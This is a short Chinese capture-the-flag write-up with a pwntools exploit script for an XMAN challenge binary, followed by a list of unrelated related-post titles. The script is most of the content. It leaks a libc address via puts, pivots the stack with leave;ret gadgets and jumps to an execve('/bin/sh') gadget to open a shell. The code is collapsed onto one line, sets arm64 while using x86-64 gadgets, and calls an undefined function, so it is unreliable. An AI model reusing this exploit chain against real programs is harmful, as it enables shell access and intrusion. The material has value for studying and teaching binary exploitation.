前言

很揪心,一直想着用dl_resolve解决,不过好麻烦,不仅要读还要写,还需要泄露地址,不如rop简单。
而且了解到libcexecve('/bin/sh\x00')的操作,不过由于题目没有setbuf导致,所以缓冲区就好乱,本地能通,远程却大不了。

代码

from pwn import*
import roputilsdef attack_remote_rop2():context(arch='arm64', os='linux', endian='little', rename_corefiles=False)context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh', '-c']conn = process("./main")elf = ELF("./main")control_ebp = 0x601060 + 0x100leave_ret = 0x40060Fret = 0x40061Cputs_plt = 0x4004C0puts_got = 0x601018read_plt = 0x4004d0pop_rdi = 0x400693pop_rsi = 0x400691read_again = 0x4005FC# log.info('puts_got addr ==> 0x%x' % elf.got['puts'])# write bssraw_input("go?")payload = 'a' * 0x100 + p64(pop_rdi) + \p64(puts_got) + p64(puts_plt) + p64(0x4005C2)conn.sendline(payload)sleep(0.1)# write stackpayload = 'a' * 0xa + p64(control_ebp - 8) + p64(leave_ret)conn.sendline(payload)sleep(0.1)put_addr = u64((conn.recvuntil('\x7f')[-6:] + '\x00' * 2))log.info('put_addr addr ==> 0x%x' % put_addr)system_addr = (put_addr - 0x809c0) + 0x4f440exec_addr = (put_addr - 0x809c0) + 0x4F322'''text:000000000004F322                 mov     rax, cs:environ_ptrtext:000000000004F329                 lea     rdi, aBinSh     ; "/bin/sh"text:000000000004F330                 lea     rsi, [rsp+198h+var_158]text:000000000004F335                 mov     cs:dword_3ED5E0, 0text:000000000004F33F                 mov     cs:dword_3ED5E4, 0text:000000000004F349                 mov     rdx, [rax]text:000000000004F34C                 call    execve'''log.info('system_addr addr ==> 0x%x' % system_addr)raw_input("go?")# write bss twoconn.sendline('a' * 8)sleep(0.1)# write stackpayload = 'a' * 0xa + 'a' * 8 + p64(exec_addr)conn.sendline(payload)sleep(0.1)conn.interactive()attack_remote_dl()

总结

-。-可还行

XMAN【x天】main相关推荐

  1. [Jarvis OJ - PWN]——[XMAN]level4

    [Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...

  2. [Jarvis OJ - PWN]——[XMAN]level2(x64)

    [Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...

  3. [Jarvis OJ - PWN]——[XMAN]level2

    [Jarvis OJ - PWN]--[XMAN]level2 题目地址:https://www.jarvisoj.com/challenges 题目: 首先,checksec一下.32位并且没有开启 ...

  4. C++ 笔记(26)— 主函数 main(int argc, char *argv[]) 参数说明

    带形参的 main 函数,如 int main( int argc, char* argv[], char **env ) 是 UNIX .Linux 以及 Mac OS 操作系统中 C/C++ 的 ...

  5. Conversion error:Jekyll::Converters::Scss encountered an error while converting css/main.scss

    错误描述:Conversion error: Jekyll::Converters::Scss encountered an error while converting 'css/main.scss ...

  6. Exception in thread main java.lang.Error: 无法解析的编译问题: 方法 main 不能声明为 static;只能在静态类型或顶级类型中才能声明静态方法

    Exception in thread "main" java.lang.Error: 无法解析的编译问题: 方法 main 不能声明为 static:只能在静态类型或顶级类型中才 ...

  7. Java的IDEA最常用快捷键汇总+快速写出Main函数

    前言 IDEA可以说是当下Java程序员日常开发的神器,但是想要发挥这款神器的牛逼威力,必须得熟练使用它的各种快捷键才行.本篇总结下使用IDEA(也就是IntelliJ IDEA )进行日常开发中最常 ...

  8. Go语言调度器之调度main goroutine(14)

    本文是<Go语言调度器源代码情景分析>系列的第14篇,也是第二章的第4小节. 上一节我们通过分析main goroutine的创建详细讨论了goroutine的创建及初始化流程,这一节我们 ...

  9. Go 学习笔记(3)— 包概念、包特点、包名约束、main 包、包的声明、包的引用、包初始化

    1. 包的概念 Go 语言是使用包来组织源代码的,并实现命名空间的管理.任何源代码文件必须属于某个包.源码文件的第一行有效代码必须是 package pacakgeName 语句,通过该语句声明自己所 ...

最新文章

  1. lucene LZ4 会将doc存储在一个chunk里进行Lz4压缩 ES的_source便如此
  2. Android NDK开发method GetStringUTFChars’could not be resolved
  3. Kubernetes安装之五:配置kubectl客户端
  4. NetCore基于EasyNetQ的高级API使用RabbitMq
  5. 使用MyBatista----上传图像
  6. 1071svm函数 r语言_R语言机器学习之核心包e1071 - 数据分析
  7. 多路平衡查找树 --- B(B-)树
  8. 轻松背后的N+疲惫——系统日志
  9. PreScan第一课:软件简介和基础
  10. Linux实操篇②(远程连接Linux;Xshell 6 和 Xftp 6 工具的安装;Xshell 6 和 Xftp 6 工具的配置和使用;)
  11. 数据分析之数据可视化
  12. 名帖234 俞和 行书《云锦帖》
  13. 从六度分隔到无尺度网络
  14. origin如何绘制双y轴曲线_如何在origin图中,做出双Y轴?
  15. 云短信使用——阿里云短信使用步骤
  16. [每周心学]浙江大学公开课:王阳明心学
  17. android twerk,抖音薛老湿bgm手机铃声响起拍照是什么歌 Android Twerk在哪听
  18. 网飞是如何利用大数据做出热门电视剧的?
  19. CocoaPods 【CocoaPods 全攻略】
  20. 亚马逊、微软云和二度云 国外三大云服务商优劣的那些事!

热门文章

  1. 云服务器导购:cpu、内存、硬盘、带宽都具体有什么用?
  2. ssas脚本组织程序_SSAS 使用手册
  3. java接入小米,小米粥 java实现WebSocket即时通信
  4. Google,微软等世界级大厂的面试套路,原来如此
  5. 人机交互系统(2.1)——深度学习分布式计算框架
  6. jzoj3234. 阴阳
  7. html的标签语言有哪些,HTML 是什么?
  8. Android Studio 批量修改文件名
  9. 计算机进化 放置游戏,随心放置冰风谷
  10. 2022-05-10:在字节跳动,大家都使用飞书的日历功能进行会议室的预订,遇到会议高峰时期, 会议室就可能不够用,现在请你实现一个算法,判断预订会议时是否有空的会议室可用。 为简化问题,这里忽略会议